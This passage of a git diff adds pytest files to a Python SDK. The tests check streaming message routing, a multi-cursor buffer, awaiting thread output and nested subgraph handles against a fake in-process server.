fake.script( + [ + lifecycle_started_event(seq=0), + message_start_event(seq=1, message_id="msg-1", run_id="run-1"), + message_text_delta_event(seq=2, text="one", message_id="msg-1"), + message_text_finish_event(seq=3, text="one", message_id="msg-1"), + message_finish_event(seq=4, message_id="msg-1"), + message_start_event(seq=5, message_id="msg-2", run_id="run-2"), + message_text_delta_event(seq=6, text="two", message_id="msg-2"), + message_text_finish_event(seq=7, text="two", message_id="msg-2"), + message_finish_event(seq=8, message_id="msg-2"), + lifecycle_completed_event(seq=9), + ] + ) + asgi = httpx.ASGITransport(app=fake.app) + async with httpx.AsyncClient(transport=asgi, base_url="http://test") as raw: + threads = ThreadsClient(HttpClient(raw)) + async with threads.stream(thread_id="t-1", assistant_id="agent") as thread: + await thread.run.start(input={}) + streams = [message async for message in thread.messages] + + assert [stream.message_id for stream in streams] == ["msg-1", "msg-2"] + assert [await stream.text for stream in streams] == ["one", "two"] + + +async def test_messages_ignores_nested_namespace_for_root_projection(): + fake = FakeServer() + fake.script( + [ + lifecycle_started_event(seq=0), + message_start_event(seq=1, namespace=["child:1"], message_id="nested"), + message_text_delta_event(seq=2, namespace=["child:1"], text="nested"), + message_finish_event(seq=3, namespace=["child:1"]), + lifecycle_completed_event(seq=4), + ] + ) + asgi = httpx.ASGITransport(app=fake.app) + async with httpx.AsyncClient(transport=asgi, base_url="http://test") as raw: + threads = ThreadsClient(HttpClient(raw)) + async with threads.stream(thread_id="t-1", assistant_id="agent") as thread: + await thread.run.start(input={}) + streams = [message async for message in thread.messages] + + assert streams == [] + + +async def test_messages_error_event_fails_active_stream(): + fake = FakeServer() + fake.script( + [ + lifecycle_started_event(seq=0), + message_start_event(seq=1, message_id="msg-1"), + message_error_event(seq=2, message="model failed", message_id="msg-1"), + lifecycle_completed_event(seq=3), + ] + ) + asgi = httpx.ASGITransport(app=fake.app) + async with httpx.AsyncClient(transport=asgi, base_url="http://test") as raw: + threads = ThreadsClient(HttpClient(raw)) + async with threads.stream(thread_id="t-1", assistant_id="agent") as thread: + await thread.run.start(input={}) + streams = [message async for message in thread.messages] + + assert len(streams) == 1 + with pytest.raises(RuntimeError, match="model failed"): + await streams[0].output + + +async def test_messages_concurrent_same_run_id_route_independently(): + """Two messages sharing a run_id must route to independent streams. + + The old `_message_route_key` keyed on `run_id` when present, so both + message-start events mapped to the same `active` slot and the second + overwrote the first. Subsequent deltas and finish events all routed to + the wrong (or missing) stream. + """ + fake = FakeServer() + fake.script( + [ + lifecycle_started_event(seq=0), + # Both messages share run_id="run-1" (same agent turn) + message_start_event(seq=1, message_id="msg-A", run_id="run-1"), + message_start_event(seq=2, message_id="msg-B", run_id="run-1"), + message_text_delta_event(seq=3, text="alpha", message_id="msg-A"), + message_text_delta_event(seq=4, text="beta", message_id="msg-B"), + message_finish_event(seq=5, message_id="msg-A"), + message_finish_event(seq=6, message_id="msg-B"), + lifecycle_completed_event(seq=7), + ] + ) + asgi = httpx.ASGITransport(app=fake.app) + async with httpx.AsyncClient(transport=asgi, base_url="http://test") as raw: + threads = ThreadsClient(HttpClient(raw)) + async with threads.stream(thread_id="t-1", assistant_id="agent") as thread: + await thread.run.start(input={}) + streams = [msg async for msg in thread.messages] + + assert [s.message_id for s in streams] == ["msg-A", "msg-B"] + assert [await s.text for s in streams] == ["alpha", "beta"] + + +async def test_messages_orphan_delta_without_matching_key_is_dropped(): + """A delta whose message_id doesn't match any active stream must be dropped. + + The old code fell back to routing the event to the only active stream when + `len(active) == 1`, causing orphan/mismatched deltas to silently corrupt + an unrelated stream's content. + """ + fake = FakeServer() + fake.script( + [ + lifecycle_started_event(seq=0), + message_start_event(seq=1, message_id="msg-A"), + # Delta with a mismatched message_id — must be dropped, not routed to msg-A. + message_text_delta_event(seq=2, text="orphan", message_id="msg-UNKNOWN"), + message_text_delta_event(seq=3, text="real", message_id="msg-A"), + message_finish_event(seq=4, message_id="msg-A"), + lifecycle_completed_event(seq=5), + ] + ) + asgi = httpx.ASGITransport(app=fake.app) + async with httpx.AsyncClient(transport=asgi, base_url="http://test") as raw: + threads = ThreadsClient(HttpClient(raw)) + async with threads.stream(thread_id="t-1", assistant_id="agent") as thread: + await thread.run.start(input={}) + streams = [msg async for msg in thread.messages] + + assert len(streams) == 1 + # Only the correctly-keyed delta "real" must appear; "orphan" must be dropped. + assert await streams[0].text == "real" diff --git a/libs/sdk-py/tests/streaming/test_multi_cursor_buffer.py b/libs/sdk-py/tests/streaming/test_multi_cursor_buffer.py new file mode 100644 index 0000000..51d5cc3 --- /dev/null +++ b/libs/sdk-py/tests/streaming/test_multi_cursor_buffer.py @@ -0,0 +1,56 @@ +from __future__ import annotations + +import asyncio + +from langgraph_sdk.stream.multi_cursor_buffer import MultiCursorBuffer + + +async def _drain(buf: MultiCursorBuffer[int]) -> list[int]: + return [item async for item in buf] + + +async def test_late_subscriber_replays_from_index_zero(): + buf: MultiCursorBuffer[int] = MultiCursorBuffer() + buf.push(1) + buf.push(2) + buf.push(3) + buf.close() + assert await _drain(buf) == [1, 2, 3] + + +async def test_two_iterators_each_get_full_log(): + buf: MultiCursorBuffer[int] = MultiCursorBuffer() + buf.push(1) + buf.push(2) + buf.close() + a, b = await asyncio.gather(_drain(buf), _drain(buf)) + assert a == [1, 2] + assert b == [1, 2] + + +async def test_iterator_waits_for_new_items(): + buf: MultiCursorBuffer[int] = MultiCursorBuffer() + drain_task = asyncio.create_task(_drain(buf)) + # Yield so the drain task starts and parks at the tail. + await asyncio.sleep(0) + assert len(buf._wakeups) == 1, "cursor must have suspended before push" + buf.push(10) + buf.push(20) + buf.close() + assert await drain_task == [10, 20] + + +async def test_close_releases_waiting_iterators(): + buf: MultiCursorBuffer[int] = MultiCursorBuffer() + drain_task = asyncio.create_task(_drain(buf)) + await asyncio.sleep(0) + buf.close() + assert await asyncio.wait_for(drain_task, timeout=1.0) == [] + + +async def test_len_reports_buffered_count(): + buf: MultiCursorBuffer[int] = MultiCursorBuffer() + assert len(buf) == 0 + buf.push(1) + buf.push(2) + assert len(buf) == 2 diff --git a/libs/sdk-py/tests/streaming/test_output.py b/libs/sdk-py/tests/streaming/test_output.py new file mode 100644 index 0000000..395a6f6 --- /dev/null +++ b/libs/sdk-py/tests/streaming/test_output.py @@ -0,0 +1,185 @@ +"""Tests for `thread.output` — REST-backed awaitable for terminal thread state.""" + +from __future__ import annotations + +import asyncio + +import httpx +import pytest + +from langgraph_sdk._async.http import HttpClient +from langgraph_sdk._async.threads import ThreadsClient +from streaming._events import ( + lifecycle_completed_event, + lifecycle_errored_event, + lifecycle_started_event, +) +from streaming._fake_server import FakeServer + + +async def test_output_waits_for_lifecycle_then_fetches_state(): + """run.start + lifecycle completion → await thread.output returns state values.""" + fake = FakeServer() + fake.script( + [ + lifecycle_started_event(seq=0), + lifecycle_completed_event(seq=1), + ] + ) + fake.set_state({"messages": ["hello"]}) + asgi = httpx.ASGITransport(app=fake.app) + async with httpx.AsyncClient(transport=asgi, base_url="http://test") as raw: + threads = ThreadsClient(HttpClient(raw)) + async with threads.stream(thread_id="t-1", assistant_id="agent") as thread: + await thread.run.start(input={}) + result = await thread.output + assert result == {"messages": ["hello"]} + assert fake.state_request_count == 1 + + +async def test_output_with_lifecycle_replay(): + """Lifecycle completion event already in stream when output is awaited → returns immediately.""" + fake = FakeServer() + fake.script([lifecycle_completed_event(seq=0)]) + fake.set_state({"counter": 42}) + asgi = httpx.ASGITransport(app=fake.app) + async with httpx.AsyncClient(transport=asgi, base_url="http://test") as raw: + threads = ThreadsClient(HttpClient(raw)) + async with threads.stream(thread_id="t-1", assistant_id="agent") as thread: + await thread.run.start(input={}) + # Yield to the event loop until the lifecycle watcher has processed + # the completed event and resolved _run_done. + for _ in range(50): + run_done = thread._run_done + if run_done is not None and run_done.done(): + break + await asyncio.sleep(0) + result = await thread.output + assert result == {"counter": 42} + assert fake.state_request_count == 1 + + +async def test_output_completed_before_attach_returns_rest_state(): + """Explicit thread_id, no run.start, state is terminal → returns REST state without hanging.""" + fake = FakeServer() + fake.script([]) # No lifecycle events — nothing in flight. + fake.set_state({"done": True}) # Terminal: next=[], tasks=[] + asgi = httpx.ASGITransport(app=fake.app) + async with httpx.AsyncClient(transport=asgi, base_url="http://test") as raw: + threads = ThreadsClient(HttpClient(raw)) + # Pass explicit thread_id — this is the reattach scenario. + async with threads.stream( + thread_id="existing-1", assistant_id="agent" + ) as thread: + result = await thread.output + assert result == {"done": True} + assert fake.state_request_count == 1 + + +async def test_output_explicit_thread_id_non_terminal_falls_through_to_lifecycle(): + """Explicit thread_id, non-terminal state → falls through fast path and waits for lifecycle.""" + fake = FakeServer() + # Non-terminal state: next has a pending node so the fast-path check fails. + # The same state is returned on the second fetch (after lifecycle fires). + fake.set_state(values={"result": "done"}, next=["still_running"]) + # Script a lifecycle completion event — the watcher fires this to resolve _run_done. + fake.script([lifecycle_completed_event(seq=1)]) + asgi = httpx.ASGITransport(app=fake.app) + async with httpx.AsyncClient(transport=asgi, base_url="http://test") as raw: + threads = ThreadsClient(HttpClient(raw)) + # Explicit thread_id triggers the fast-path check (no run.start called). + async with threads.stream( + thread_id="existing-2", assistant_id="agent" + ) as thread: + # _run_seen is False (no run.start), explicit_thread_id is True: + # _can_return_existing_state_immediately() returns True. + # First fetch returns non-terminal state → falls through to _wait_for_run_done. + # Lifecycle completed event resolves _run_done. + # Second fetch returns same state; values are returned. + result = await thread.output + assert result == {"result": "done"} + # Two fetches: one for the fast-path terminal check, one after lifecycle fires. + assert fake.state_request_count == 2 + + +async def test_output_does_not_open_values_stream(): + """Awaiting thread.output must NOT open a values SSE channel.""" + fake = FakeServer() + fake.script([lifecycle_completed_event(seq=0)]) + fake.set_state({"x": 1}) + asgi = httpx.ASGITransport(app=fake.app) + async with httpx.AsyncClient(transport=asgi, base_url="http://test") as raw: + threads = ThreadsClient(HttpClient(raw)) + async with threads.stream(thread_id="t-1", assistant_id="agent") as thread: + await thread.run.start(input={}) + await thread.output + + # No stream request body should contain a "values" channel. + for body in fake.stream_request_bodies: + channels = body.get("channels", []) + assert "values" not in channels, ( + f"Expected no 'values' channel, but found one in: {body}" + ) + + +async def test_output_multiple_awaiters_share_one_state_request(): + """Awaiting thread.output twice shares a single underlying task and REST call.""" + fake = FakeServer() + fake.script([lifecycle_completed_event(seq=0)]) + fake.set_state({"shared": True}) + asgi = httpx.ASGITransport(app=fake.app) + async with httpx.AsyncClient(transport=asgi, base_url="http://test") as raw: + threads = ThreadsClient(HttpClient(raw)) + async with threads.stream(thread_id="t-1", assistant_id="agent") as thread: + await thread.run.start(input={}) + result1, result2 = await asyncio.gather(thread.output, thread.output) + assert result1 == {"shared": True} + assert result2 == {"shared": True} + assert fake.state_request_count == 1 + + +async def test_output_terminal_error_raises(): + """Lifecycle errored event → awaiting thread.output raises RuntimeError.""" + fake = FakeServer() + fake.script([lifecycle_errored_event(seq=0, error="something exploded")]) + fake.set_state({}) + asgi = httpx.ASGITransport(app=fake.app) + async with httpx.AsyncClient(transport=asgi, base_url="http://test") as raw: + threads = ThreadsClient(HttpClient(raw)) + async with threads.stream(thread_id="t-1", assistant_id="agent") as thread: + await thread.run.start(input={}) + with pytest.raises(RuntimeError, match="something exploded"): + await thread.output + + +async def test_output_no_run_no_lifecycle_raises(): + """Minted thread_id, no run.start, no lifecycle events → raises usage error.""" + fake = FakeServer() + fake.script([]) + asgi = httpx.ASGITransport(app=fake.app) + async with httpx.AsyncClient(transport=asgi, base_url="http://test") as raw: + threads = ThreadsClient(HttpClient(raw)) + # thread_id=None → minted UUID, explicit_thread_id=False + async with threads.stream(thread_id=None, assistant_id="agent") as thread: + with pytest.raises(RuntimeError, match="no run has been started"): + await thread.output + + +async def test_output_headers_propagate_to_state_request(): + """Custom headers on the stream session propagate to the GET /state REST call.""" + fake = FakeServer() + fake.script([lifecycle_completed_event(seq=0)]) + fake.set_state({"ok": True}) + asgi = httpx.ASGITransport(app=fake.app) + async with httpx.AsyncClient(transport=asgi, base_url="http://test") as raw: + threads = ThreadsClient(HttpClient(raw)) + async with threads.stream( + thread_id="t-1", + assistant_id="agent", + headers={"X-Custom-Header": "test-value"}, + ) as thread: + await thread.run.start(input={}) + await thread.output + + assert fake.state_request_count == 1 + assert fake.state_request_headers[0].get("x-custom-header") == "test-value" diff --git a/libs/sdk-py/tests/streaming/test_replay_conformance.py b/libs/sdk-py/tests/streaming/test_replay_conformance.py new file mode 100644 index 0000000..167692f --- /dev/null +++ b/libs/sdk-py/tests/streaming/test_replay_conformance.py @@ -0,0 +1,24 @@ +from __future__ import annotations + +import httpx + +from langgraph_sdk.stream.transport.http import ProtocolSseTransport +from streaming._fake_server import FakeServer +from streaming.assert_transport_replays import assert_transport_replays + + +class _Harness: + def __init__(self, fake: FakeServer, transport: ProtocolSseTransport) -> None: + self._fake = fake + self.transport = transport + + def script_buffered(self, events): + self._fake.script(events) + + +async def test_fake_server_replays_buffered_events(): + fake = FakeServer() + asgi = httpx.ASGITransport(app=fake.app) + async with httpx.AsyncClient(transport=asgi, base_url="http://test") as client: + transport = ProtocolSseTransport(client=client, thread_id="t-1") + await assert_transport_replays(_Harness(fake, transport)) diff --git a/libs/sdk-py/tests/streaming/test_scoped_handles.py b/libs/sdk-py/tests/streaming/test_scoped_handles.py new file mode 100644 index 0000000..13955b2 --- /dev/null +++ b/libs/sdk-py/tests/streaming/test_scoped_handles.py @@ -0,0 +1,638 @@ +"""Tests for nested scoped stream handles.""" + +from __future__ import annotations + +import httpx + +from langgraph_sdk._async.http import HttpClient +from langgraph_sdk._async.threads import ThreadsClient +from streaming._events import ( + lifecycle_completed_event, + lifecycle_started_event, + message_finish_event, + message_start_event, + message_text_delta_event, + message_text_finish_event, + tasks_result_event, + tasks_start_event, + tool_finished_event, + tool_output_delta_event, + tool_started_event, +) +from streaming._fake_server import FakeServer, _StreamScript + + +async def test_subgraphs_subscribes_to_tasks_channel(): + fake = FakeServer() + fake.script([lifecycle_completed_event(seq=1)]) + asgi = httpx.ASGITransport(app=fake.app) + async with httpx.AsyncClient(transport=asgi, base_url="http://test") as raw: + threads = ThreadsClient(HttpClient(raw)) + async with threads.stream(thread_id="t-1", assistant_id="agent") as thread: + await thread.run.start(input={}) + _ = [handle async for handle in thread.subgraphs] + + assert any( + "tasks" in body.get("channels", []) for body in fake.stream_request_bodies + ) + + +async def test_subgraphs_yields_handle_and_completes_status(): + fake = FakeServer() + fake.script( + [ + lifecycle_started_event(seq=0), + tasks_start_event(seq=1, namespace=["worker:abc"], task_id="t-child"), + tasks_result_event(seq=2, namespace=[], task_id="abc", name="worker"), + lifecycle_completed_event(seq=3), + ] + ) + asgi = httpx.ASGITransport(app=fake.app) + async with httpx.AsyncClient(transport=asgi, base_url="http://test") as raw: + threads = ThreadsClient(HttpClient(raw)) + async with threads.stream(thread_id="t-1", assistant_id="agent") as thread: + await thread.run.start(input={}) + handles = [handle async for handle in thread.subgraphs] + + assert len(handles) == 1 + handle = handles[0] + assert handle.path == ("worker:abc",) + assert handle.namespace == ["worker:abc"] + assert handle.graph_name == "worker" + assert handle.trigger_call_id == "abc" + assert handle.status == "completed" + assert handle.error is None + + +async def test_subgraphs_failed_and_interrupted_statuses(): + failed = FakeServer() + failed.script( + [ + lifecycle_started_event(seq=0), + tasks_start_event(seq=1, namespace=["worker:abc"], task_id="t-child"), + tasks_result_event( + seq=2, + namespace=[], + task_id="abc", + name="worker", + error="boom", + ), + lifecycle_completed_event(seq=3), + ] + ) + failed_asgi = httpx.ASGITransport(app=failed.app) + async with httpx.AsyncClient(transport=failed_asgi, base_url="http://test") as raw: + threads = ThreadsClient(HttpClient(raw)) + async with threads.stream(thread_id="t-1", assistant_id="agent") as thread: + await thread.run.start(input={}) + [failed_handle] = [handle async for handle in thread.subgraphs] + + interrupted = FakeServer() + interrupted.script( + [ + lifecycle_started_event(seq=0), + tasks_start_event(seq=1, namespace=["worker:def"], task_id="t-child"), + tasks_result_event( + seq=2, + namespace=[], + task_id="def", + name="worker", + interrupts=[{"value": "pause"}], + ), + lifecycle_completed_event(seq=3), + ] + ) + interrupted_asgi = httpx.ASGITransport(app=interrupted.app) + async with httpx.AsyncClient( + transport=interrupted_asgi, + base_url="http://test", + ) as raw: + threads = ThreadsClient(HttpClient(raw)) + async with threads.stream(thread_id="t-1", assistant_id="agent") as thread: + await thread.run.start(input={}) + [interrupted_handle] = [handle async for handle in thread.subgraphs] + + assert failed_handle.status == "failed" + assert failed_handle.error == "boom" + assert interrupted_handle.status == "interrupted" + assert interrupted_handle.error is None + + +async def test_subgraph_messages_are_scoped_to_child_namespace(): + fake = FakeServer() + fake.script( + [ + lifecycle_started_event(seq=0), + tasks_start_event(seq=1, namespace=["worker:abc"], task_id="t-child"), + message_start_event( + seq=2, + namespace=["worker:abc"], + message_id="msg-child", + run_id="run-child", + ), + message_text_delta_event(seq=3, namespace=["worker:abc"], text="child"), + message_text_finish_event(seq=4, namespace=["worker:abc"], text="child"), + message_finish_event(seq=5, namespace=["worker:abc"]), + tasks_result_event(seq=6, namespace=[], task_id="abc", name="worker"), + lifecycle_completed_event(seq=7), + ] + ) + asgi = httpx.ASGITransport(app=fake.app) + async with httpx.AsyncClient(transport=asgi, base_url="http://test") as raw: + threads = ThreadsClient(HttpClient(raw)) + async with threads.stream(thread_id="t-1", assistant_id="agent") as thread: + await thread.run.start(input={}) + [handle] = [h async for h in thread.subgraphs] + child_messages = [message async for message in handle.messages] + root_messages = [message async for message in thread.messages] + + assert [message.message_id for message in child_messages] == ["msg-child"] + assert [await message.text for message in child_messages] == ["child"] + assert root_messages == [] + + +async def test_subgraph_tool_calls_are_scoped_to_child_namespace(): + fake = FakeServer() + fake.script( + [ + lifecycle_started_event(seq=0), + tasks_start_event(seq=1, namespace=["worker:abc"], task_id="t-child"), + tool_started_event( + seq=2, + namespace=["worker:abc"], + tool_call_id="call-child", + tool_name="search", + ), + tool_output_delta_event( + seq=3, + namespace=["worker:abc"], + tool_call_id="call-child", + delta="child-delta", + ), + tool_finished_event( + seq=4, + namespace=["worker:abc"], + tool_call_id="call-child", + output={"ok": True}, + ), + tasks_result_event(seq=5, namespace=[], task_id="abc", name="worker"), + lifecycle_completed_event(seq=6), + ] + ) + asgi = httpx.ASGITransport(app=fake.app) + async with httpx.AsyncClient(transport=asgi, base_url="http://test") as raw: + threads = ThreadsClient(HttpClient(raw)) + async with threads.stream(thread_id="t-1", assistant_id="agent") as thread: + await thread.run.start(input={}) + [handle] = [h async for h in thread.subgraphs] + child_calls = [call async for call in handle.tool_calls] + root_calls = [call async for call in thread.tool_calls] + + assert [call.tool_call_id for call in child_calls] == ["call-child"] + assert [delta async for delta in child_calls[0].deltas] == ["child-delta"] + assert await child_calls[0].output == {"ok": True} + assert root_calls == [] + + +async def test_subgraph_handles_are_recursive_for_grandchildren(): + fake = FakeServer() + fake.script( + [ + lifecycle_started_event(seq=0), + tasks_start_event(seq=1, namespace=["worker:abc"], task_id="t-child"), + tasks_start_event( + seq=2, + namespace=["worker:abc", "tool:def"], + task_id="t-grandchild", + ), + tasks_result_event( + seq=3, + namespace=["worker:abc"], + task_id="def", + name="tool", + ), + tasks_result_event(seq=4, namespace=[], task_id="abc", name="worker"), + lifecycle_completed_event(seq=5), + ] + ) + asgi = httpx.ASGITransport(app=fake.app) + async with httpx.AsyncClient(transport=asgi, base_url="http://test") as raw: + threads = ThreadsClient(HttpClient(raw)) + async with threads.stream(thread_id="t-1", assistant_id="agent") as thread: + await thread.run.start(input={}) + [child] = [handle async for handle in thread.subgraphs] + [grandchild] = [handle async for handle in child.subgraphs] + + assert child.path == ("worker:abc",) + assert grandchild.path == ("worker:abc", "tool:def") + assert grandchild.graph_name == "tool" + assert grandchild.trigger_call_id == "def" + assert grandchild.status == "completed" + + +async def test_subagents_aliases_subgraphs_until_protocol_distinguishes_them(): + fake = FakeServer() + fake.script([lifecycle_completed_event(seq=1)]) + asgi = httpx.ASGITransport(app=fake.app) + async with httpx.AsyncClient(transport=asgi, base_url="http://test") as raw: + threads = ThreadsClient(HttpClient(raw)) + async with threads.stream(thread_id="t-1", assistant_id="agent") as thread: + assert thread.subagents is thread.subgraphs + await thread.run.start(input={}) + + +async def test_root_and_child_projections_do_not_cross_talk(): + fake = FakeServer() + fake.script( + [ + lifecycle_started_event(seq=0), + tasks_start_event(seq=1, namespace=["worker:abc"], task_id="t-child"), + message_start_event(seq=2, message_id="root-msg", run_id="root-run"), + message_text_delta_event(seq=3, text="root"), + message_text_finish_event(seq=4, text="root"), + message_finish_event(seq=5), + message_start_event( + seq=6, + namespace=["worker:abc"], + message_id="child-msg", + run_id="child-run", + ), + message_text_delta_event(seq=7, namespace=["worker:abc"], text="child"), + message_text_finish_event(seq=8, namespace=["worker:abc"], text="child"), + message_finish_event(seq=9, namespace=["worker:abc"]), + tasks_result_event(seq=10, namespace=[], task_id="abc", name="worker"), + lifecycle_completed_event(seq=11), + ] + ) + asgi = httpx.ASGITransport(app=fake.app) + async with httpx.AsyncClient(transport=asgi, base_url="http://test") as raw: + threads = ThreadsClient(HttpClient(raw)) + async with threads.stream(thread_id="t-1", assistant_id="agent") as thread: + await thread.run.start(input={}) + [handle] = [h async for h in thread.subgraphs] + root_messages = [message async for message in thread.messages] + child_messages = [message async for message in handle.messages] + + assert [message.message_id for message in root_messages] == ["root-msg"] + assert [await message.text for message in root_messages] == ["root"] + assert [message.message_id for message in child_messages] == ["child-msg"] + assert [await message.text for message in child_messages] == ["child"] + + +async def test_grandchild_sibling_routing_preserves_event_order(): + """Events enqueued in a child handle's _messages_inbox before a grandchild + is discovered via child.subgraphs must be delivered in arrival order, not + reordered by the drain-and-replay path in _route_sibling_inboxes_to_grandchildren.""" + fake = FakeServer() + fake.script( + [ + lifecycle_started_event(seq=0), + # Child discovered by thread.subgraphs. + tasks_start_event(seq=1, namespace=["worker:abc"], task_id="t-child"), + # Grandchild messages arrive *before* grandchild tasks-start. + message_start_event( + seq=2, + namespace=["worker:abc", "tool:gc1"], + message_id="msg-E1", + run_id="r1", + ), + message_text_delta_event( + seq=3, namespace=["worker:abc", "tool:gc1"], text="E1" + ), + message_text_finish_event( + seq=4, namespace=["worker:abc", "tool:gc1"], text="E1" + ), + message_finish_event(seq=5, namespace=["worker:abc", "tool:gc1"]), + message_start_event( + seq=6, + namespace=["worker:abc", "tool:gc1"], + message_id="msg-E2", + run_id="r2", + ), + message_text_delta_event( + seq=7, namespace=["worker:abc", "tool:gc1"], text="E2" + ), + message_text_finish_event( + seq=8, namespace=["worker:abc", "tool:gc1"], text="E2" + ), + message_finish_event(seq=9, namespace=["worker:abc", "tool:gc1"]), + message_start_event( + seq=10, + namespace=["worker:abc", "tool:gc1"], + message_id="msg-E3", + run_id="r3", + ), + message_text_delta_event( + seq=11, namespace=["worker:abc", "tool:gc1"], text="E3" + ), + message_text_finish_event( + seq=12, namespace=["worker:abc", "tool:gc1"], text="E3" + ), + message_finish_event(seq=13, namespace=["worker:abc", "tool:gc1"]), + # Grandchild tasks-start arrives *after* its messages. + tasks_start_event( + seq=14, + namespace=["worker:abc", "tool:gc1"], + task_id="t-grandchild", + ), + tasks_result_event( + seq=15, namespace=["worker:abc"], task_id="gc1", name="tool" + ), + tasks_result_event(seq=16, namespace=[], task_id="abc", name="worker"), + lifecycle_completed_event(seq=17), + ] + ) + asgi = httpx.ASGITransport(app=fake.app) + async with httpx.AsyncClient(transport=asgi, base_url="http://test") as raw: + threads = ThreadsClient(HttpClient(raw)) + async with threads.stream(thread_id="t-1", assistant_id="agent") as thread: + await thread.run.start(input={}) + [child] = [h async for h in thread.subgraphs] + [grandchild] = [h async for h in child.subgraphs] + gc_messages = [m async for m in grandchild.messages] + + assert [m.message_id for m in gc_messages] == ["msg-E1", "msg-E2", "msg-E3"] + texts = [await m.text for m in gc_messages] + assert texts == ["E1", "E2", "E3"] + + +async def test_grandchild_events_dispatched_to_correct_sibling_not_first_match(): + """When two sibling grandchildren exist, messages scoped to one grandchild + must not bleed into the other grandchild's inbox.""" + fake = FakeServer() + fake.script( + [ + lifecycle_started_event(seq=0), + tasks_start_event(seq=1, namespace=["worker:abc"], task_id="t-child"), + # Two grandchildren discovered. + tasks_start_event( + seq=2, namespace=["worker:abc", "tool:gc1"], task_id="t-gc1" + ), + tasks_start_event( + seq=3, namespace=["worker:abc", "tool:gc2"], task_id="t-gc2" + ), + # Messages for gc1. + message_start_event( + seq=4, + namespace=["worker:abc", "tool:gc1"], + message_id="msg-gc1", + run_id="ra", + ), + message_text_delta_event( + seq=5, namespace=["worker:abc", "tool:gc1"], text="GC1" + ), + message_text_finish_event( + seq=6, namespace=["worker:abc", "tool:gc1"], text="GC1" + ), + message_finish_event(seq=7, namespace=["worker:abc", "tool:gc1"]), + # Messages for gc2. + message_start_event( + seq=8, + namespace=["worker:abc", "tool:gc2"], + message_id="msg-gc2", + run_id="rb", + ), + message_text_delta_event( + seq=9, namespace=["worker:abc", "tool:gc2"], text="GC2" + ), + message_text_finish_event( + seq=10, namespace=["worker:abc", "tool:gc2"], text="GC2" + ), + message_finish_event(seq=11, namespace=["worker:abc", "tool:gc2"]), + tasks_result_event( + seq=12, namespace=["worker:abc"], task_id="gc1", name="tool" + ), + tasks_result_event( + seq=13, namespace=["worker:abc"], task_id="gc2", name="tool" + ), + tasks_result_event(seq=14, namespace=[], task_id="abc", name="worker"), + lifecycle_completed_event(seq=15), + ] + ) + asgi = httpx.ASGITransport(app=fake.app) + async with httpx.AsyncClient(transport=asgi, base_url="http://test") as raw: + threads = ThreadsClient(HttpClient(raw)) + async with threads.stream(thread_id="t-1", assistant_id="agent") as thread: + await thread.run.start(input={}) + [child] = [h async for h in thread.subgraphs] + grandchildren = [h async for h in child.subgraphs] + by_path = {h.path: h for h in grandchildren} + gc1_messages = [ + m async for m in by_path[("worker:abc", "tool:gc1")].messages + ] + gc2_messages = [ + m async for m in by_path[("worker:abc", "tool:gc2")].messages + ] + + assert [m.message_id for m in gc1_messages] == ["msg-gc1"] + assert [m.message_id for m in gc2_messages] == ["msg-gc2"] + + +def test_scoped_handle_inboxes_bounded_by_max_queue_size(): + """ScopedStreamHandle with max_queue_size=N creates queues with maxsize=N.""" + from unittest.mock import MagicMock + + from langgraph_sdk._async.stream import ScopedStreamHandle + + fake_thread = MagicMock() + handle = ScopedStreamHandle( + thread=fake_thread, + path=("worker:1",), + graph_name="worker", + trigger_call_id="1", + max_queue_size=16, + ) + assert handle._messages_inbox.maxsize == 16 + assert handle._tools_inbox.maxsize == 16 + assert handle._tasks_inbox.maxsize == 16 + + +async def test_child_handle_inherits_max_queue_size_from_parent(): + """Grandchild ScopedStreamHandles created by _HandleSubgraphsProjection + inherit the parent's max_queue_size so all queues are consistently bounded.""" + fake = FakeServer() + fake.script( + [ + lifecycle_started_event(seq=0), + tasks_start_event(seq=1, namespace=["worker:abc"], task_id="t-child"), + tasks_start_event( + seq=2, namespace=["worker:abc", "tool:gc1"], task_id="t-gc1" + ), + tasks_result_event( + seq=3, namespace=["worker:abc"], task_id="gc1", name="tool" + ), + tasks_result_event(seq=4, namespace=[], task_id="abc", name="worker"), + lifecycle_completed_event(seq=5), + ] + ) + asgi = httpx.ASGITransport(app=fake.app) + async with httpx.AsyncClient(transport=asgi, base_url="http://test") as raw: + threads = ThreadsClient(HttpClient(raw)) + async with threads.stream(thread_id="t-1", assistant_id="agent") as thread: + await thread.run.start(input={}) + [child] = [h async for h in thread.subgraphs] + [grandchild] = [h async for h in child.subgraphs] + + # Grandchild handles created by _HandleSubgraphsProjection must use the + # parent handle's max_queue_size (default 0 = unbounded in asyncio.Queue). + assert grandchild._messages_inbox.maxsize == child._messages_inbox.maxsize + assert grandchild._tools_inbox.maxsize == child._tools_inbox.maxsize + assert grandchild._tasks_inbox.maxsize == child._tasks_inbox.maxsize + + +async def test_force_complete_uses_failed_when_run_errored(): + """If the lifecycle signals an errored run, scoped children that are still + 'started' when the subgraphs projection's finally block runs must be + force-finished as 'failed', not 'completed'.""" + from streaming._events import lifecycle_errored_event + + fake = FakeServer() + fake.script( + [ + lifecycle_started_event(seq=0), + tasks_start_event(seq=1, namespace=["worker:abc"], task_id="t-child"), + # No tasks_result — run errored before the child task finished. + lifecycle_errored_event(seq=2, error="boom"), + ] + ) + asgi = httpx.ASGITransport(app=fake.app) + handles: list = [] + async with httpx.AsyncClient(transport=asgi, base_url="http://test") as raw: + threads = ThreadsClient(HttpClient(raw)) + async with threads.stream(thread_id="t-1", assistant_id="agent") as thread: + await thread.run.start(input={}) + async for handle in thread.subgraphs: + handles.append(handle) + + assert len(handles) == 1 + child = handles[0] + # The run errored, so the child should be force-finished as "failed". + assert child.status == "failed" + + +async def test_force_complete_uses_completed_when_run_completed(): + """If the lifecycle signals a completed run, any subgraph child still + 'started' at finally time is force-finished as 'completed' (normal case).""" + fake = FakeServer() + fake.script( + [ + lifecycle_started_event(seq=0), + tasks_start_event(seq=1, namespace=["worker:abc"], task_id="t-child"), + # No tasks_result — but lifecycle completed normally. + lifecycle_completed_event(seq=2), + ] + ) + asgi = httpx.ASGITransport(app=fake.app) + handles: list = [] + async with httpx.AsyncClient(transport=asgi, base_url="http://test") as raw: + threads = ThreadsClient(HttpClient(raw)) + async with threads.stream(thread_id="t-1", assistant_id="agent") as thread: + await thread.run.start(input={}) + async for handle in thread.subgraphs: + handles.append(handle) + + assert len(handles) == 1 + child = handles[0] + assert child.status == "completed" + + +def test_close_inboxes_does_not_enqueue_on_uniterated_inboxes(): + """_close_inboxes must not push a sentinel on inboxes that had no consumer.""" + from unittest.mock import MagicMock + + from langgraph_sdk._async.stream import ScopedStreamHandle + + fake_thread = MagicMock() + handle = ScopedStreamHandle( + thread=fake_thread, + path=("worker:1",), 